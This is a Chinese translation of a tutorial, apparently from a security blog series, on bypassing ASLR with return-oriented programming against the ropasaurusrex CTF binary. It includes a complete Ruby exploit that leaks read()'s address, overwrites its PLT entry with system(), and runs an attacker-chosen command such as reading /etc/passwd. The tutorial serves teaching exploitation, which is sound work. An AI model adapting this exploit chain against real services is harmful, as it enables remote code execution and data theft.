翻译:Kr0net
稿费:100RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
传送门
【技术分享】ropasaurusrex:ROP入门教程——STACK
【技术分享】ropasaurusrex:ROP入门教程——DEP(上)
【技术分享】ropasaurusrex:ROP入门教程——DEP(下)
什么是ASLR?
ASLR或者说地址空间布局随机化,是现代系统里一种通过随机加载函数库的地址的防卫措施(除了FreeBSD)。举个例子,我们运行两次ropasaursrex并且获得system()的地址:
可以发现,两次system()的地址不一样,从0xb766e450到0xb76a7450,这就是问题所在。
攻破ASLR
所以,现在我们知道的哪些什么知识可以来用呢?可执行文件本身并不具有随机化,所及我们可以依赖它里面的每一个地址用来定位,这是十分有用的。最重要的是重定位表会一直保留着相同的地址:
我们知道了read()和write()在可执行文件中的地址。这有什么用呢。让我们来看看当可执行文件跑起来时这些地址的值:
仔细看看…我们知道了一个指向read()内存地址的指针!我们可以怎么做呢,想想…?我会给你一点提示:我们可以用write()函数从任意内存中抓取数据并且写入socket中。
最后,执行一些代码!
好的,休息一下,我们将这项工作分解成下面几个步骤,我们需要:
1.用read()函数复制一指令进入内存
2.获得write()的地址并且使用write()
3.计算write()和system()两者地址的偏移量,间接得到system()的地址
4.调用system()
要调用system(),我们需要在内存中的某处写入system()的地址,然后才能调用它。最简单的方式是重写read()的plt表,然后调用read()
但是现在,你可能很疑惑到底要怎么做,别急。我过去也是,并且我为我完成了这个任务感到震惊。:)
现在让我们全力以赴来完成它,下面是我们想要建立的栈:
Holy smokes,这是怎么来的?
我们从底部开始看看它是怎么运作的!为了方便区分,我为不同的栈帧做了标记。
Fram[1]我们之前已经见过了。它把命令写入可写的内存里面。
Fram[2]用”pppr”来清除栈(调整esp)。
Fram[3]用write()把read()的地址写入socket。
Fram[4]用”pppr”来清除栈(调整esp)。
Fram[5]socket读取另一个地址,并将其写入内存。这个地址将会是system()的地址。
read()的调用实际上是一个间接的跳转!所以如果我们可以改变0x804961c中的值,然后跳转过去,那样我们就可以跳转到任何的地方!所以在Fram(3)中我们读取read()的实际地址,然后在Fram[5]在这个地方重写地址。
Fram[6]用”pppr”来清除栈(调整esp)。这里有一点不同,ret的返回地址是0x804832c,这个是read()在plt表中的地址。接下来我们将其重写为system()的地址,然后就会跳转到system。
最终的代码
Whew!(口哨声)。这样就完成了。下面的代码充分利用ropasurusrex成功绕过DEP和ASLR:
1. require 'socket'
2.
3. s = TCPSocket.new("localhost", 4444)
4.
5. # The command we'll run
6. cmd = ARGV[0] + ""
7.
8. # From objdump -x
9. buf = 0x08049530
10.
11. # From objdump -D ./ropasaurusrex | grep read
12. read_addr = 0x0804832C
13. # From objdump -D ./ropasaurusrex | grep write
14. write_addr = 0x0804830C
15. # From gdb, "x/x system"
16. system_addr = 0xb7ec2450
17. # Fram objdump, "pop/pop/pop/ret"
18. pppr_addr = 0x080484b6
19.
20. # The location where read()'s .plt entry is
21. read_addr_ptr = 0x0804961c
22.
23. # The difference between read() and system()
24. # Calculated as read (0xb7f48110) - system (0xb7ec2450)
25. # Note: This is the one number that needs to be calculated using the
26. # target version of libc rather than my own!
27. read_system_diff = 0x85cc0
28.
29. # Generate the payload
30. payload = "A"*140 +
31. [
32. # system()'s stack frame
33. buf, # writable memory (cmd buf)
34. 0x44444444, # system()'s return address
35.
36. # pop/pop/pop/ret's stack frame
37. # Note that this calls read_addr, which is overwritten by a pointer
38. # to system() in the previous stack frame
39. read_addr, # (this will become system())
40.
41. # second read()'s stack frame
42. # This reads the address of system() from the socket and overwrites
43. # read()'s .plt entry with it, so calls to read() end up going to
44. # system()
45. 4, # length of an address
46. read_addr_ptr, # address of read()'s .plt entry
47. 0, # stdin
48. pppr_addr, # read()'s return address
49.
50. # pop/pop/pop/ret's stack frame
51. read_addr,
52.
53. # write()'s stack frame
54. # This frame gets the address of the read() function from the .plt
55. # entry and writes to to stdout
56. 4, # length of an address
57. read_addr_ptr, # address of read()'s .plt entry
58. 1, # stdout
59. pppr_addr, # retrurn address
60.
61. # pop/pop/pop/ret's stack frame
62. write_addr,
63.
64. # read()'s stack frame
65. # This reads the command we want to run from the socket and puts it
66. # in our writable "buf"
67. cmd.length, # number of bytes
68. buf, # writable memory (cmd buf)
69. 0, # stdin
70. pppr_addr, # read()'s return address
71.
72. read_addr # Overwrite the original return
73. ].reverse.pack("I*") # Convert a series of 'ints' to a string
74.
75. # Write the 'exploit' payload
76. s.write(payload)
77.
78. # When our payload calls read() the first time, this is read
79. s.write(cmd)
80.
81. # Get the result of the first read() call, which is the actual address of read
82. this_read_addr = s.read(4).unpack("I").first
83. 83
84. 84 # Calculate the address of system()
85. 85 this_system_addr = this_read_addr - read_system_diff
86.
87. # Write the address back, where it'll be read() into the correct place by
88. # the second read() call
89. s.write([this_system_addr].pack("I"))
90.
91. # Finally, read the result of the actual command
92. puts(s.read())
93.
94. # Clean up
95. s.close()
这里是运行结果:
当然你想的话,我们可以改变cat/etc/passwd成任何东西(包括端口监听):
(总结:这篇文章的翻译到此结束,文章从三个阶段:STACK,DEP,ASLR逐步递进详细地讲解了ROP的编写,译者对这篇文章的翻译希望能给刚刚入门PWN的朋友们带来帮助。虽然译者的PWN能力很弱,但是译者觉得在PWN的学习中,当然除了出题人带来的了巨大脑洞之外,每一次PWN的学习都可以带来狠多的乐趣,就像本文的作者把栈比喻成函数的天堂和地狱,每次PWN的利用无不是对函数世界的重构,虽然重构的过程艰难且繁杂,但每次重构后的世界都能给我们带来收获)
传送门
【技术分享】ropasaurusrex:ROP入门教程——STACK
【技术分享】ropasaurusrex:ROP入门教程——DEP(上)
【技术分享】ropasaurusrex:ROP入门教程——DEP(下)